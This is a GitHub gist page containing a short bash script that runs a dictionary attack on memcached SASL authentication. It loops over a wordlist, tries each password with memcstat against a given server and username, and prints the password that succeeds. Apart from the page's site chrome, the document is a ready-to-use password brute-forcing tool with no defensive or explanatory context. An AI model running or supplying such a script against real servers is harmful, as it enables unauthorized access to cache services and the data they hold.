Skip to content

Instantly share code, notes, and snippets.

@juliosmelo
Created January 16, 2020 14:24
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save juliosmelo/8699d963bf97e84cec48b4f65e238952 to your computer and use it in GitHub Desktop.
Save juliosmelo/8699d963bf97e84cec48b4f65e238952 to your computer and use it in GitHub Desktop.
#! /bin/bash
while read F ; do
echo "Trying $F"
if memcstat --servers=$1 --username=$2 --password=$F | grep -q Server ; then
echo "Password Found: "$F
break
fi
done < $3
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment